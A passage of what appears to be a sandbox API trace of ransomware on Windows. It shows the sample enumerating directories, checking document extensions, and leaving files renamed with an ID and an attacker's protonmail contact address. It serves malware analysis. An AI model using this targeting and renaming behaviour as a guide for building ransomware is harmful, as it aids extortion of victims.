(lpString=".ppa") returned 4 [0286.005] lstrcmpiW (lpString1=".ppa", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".ppam") returned 5 [0286.005] lstrcmpiW (lpString1=".ppam", lpString2="].com") returned -1 [0286.005] lstrlenW (lpString=".ppm") returned 4 [0286.005] lstrcmpiW (lpString1=".ppm", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".pps") returned 4 [0286.005] lstrcmpiW (lpString1=".pps", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".ppsm") returned 5 [0286.005] lstrcmpiW (lpString1=".ppsm", lpString2="].com") returned -1 [0286.005] lstrlenW (lpString=".ppt") returned 4 [0286.005] lstrcmpiW (lpString1=".ppt", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".pptm") returned 5 [0286.005] lstrcmpiW (lpString1=".pptm", lpString2="].com") returned -1 [0286.005] lstrlenW (lpString=".pptx") returned 5 [0286.005] lstrcmpiW (lpString1=".pptx", lpString2="].com") returned -1 [0286.005] lstrlenW (lpString=".prn") returned 4 [0286.005] lstrcmpiW (lpString1=".prn", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".ps") returned 3 [0286.005] lstrcmpiW (lpString1=".ps", lpString2="com") returned -1 [0286.005] lstrlenW (lpString=".psb") returned 4 [0286.005] lstrcmpiW (lpString1=".psb", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".psd") returned 4 [0286.005] lstrcmpiW (lpString1=".psd", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".pst") returned 4 [0286.005] lstrcmpiW (lpString1=".pst", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".ptx") returned 4 [0286.005] lstrcmpiW (lpString1=".ptx", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".pub") returned 4 [0286.005] lstrcmpiW (lpString1=".pub", lpString2=".com") returned 1 [0286.005] lstrlenW (lpString=".pwm") returned 4 [0286.005] lstrcmpiW (lpString1=".pwm", lpString2=".com") returned 1 [0286.006] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.006] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0286.007] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.008] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0286.008] FindClose (in: hFindFile=0x74abb0 | out: hFindFile=0x74abb0) returned 1 [0286.008] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.008] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0286.011] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.011] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0286.011] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.011] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0286.011] FindClose (in: hFindFile=0x74abb0 | out: hFindFile=0x74abb0) returned 1 [0286.011] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.012] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0286.018] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.018] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0286.019] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.019] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0286.021] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.021] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0286.023] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.023] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0286.025] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.025] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0286.027] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.027] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0286.028] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.028] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0286.030] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.030] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0286.032] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.032] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0286.228] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.228] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0286.229] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.229] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0286.231] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.231] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0286.232] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.232] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0286.234] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.234] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0286.236] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.236] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0286.237] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.237] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0286.239] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.239] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0286.240] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.240] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0286.242] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.242] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0286.243] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.243] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0286.245] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.245] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0286.246] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.247] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0286.248] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.248] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0286.250] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.250] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0286.251] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.252] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0286.253] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.253] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f52ab3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f52ab3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x352e63c2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DHTMLH~1.COM")) returned 1 [0286.255] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.255] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0286.257] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.257] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354fc4ca, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="HEADER~1.COM")) returned 1 [0286.257] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.258] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0286.259] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.259] FindNextFileW (in: hFindFile=0x74a5b0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0286.260] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.260] FindNextFileW 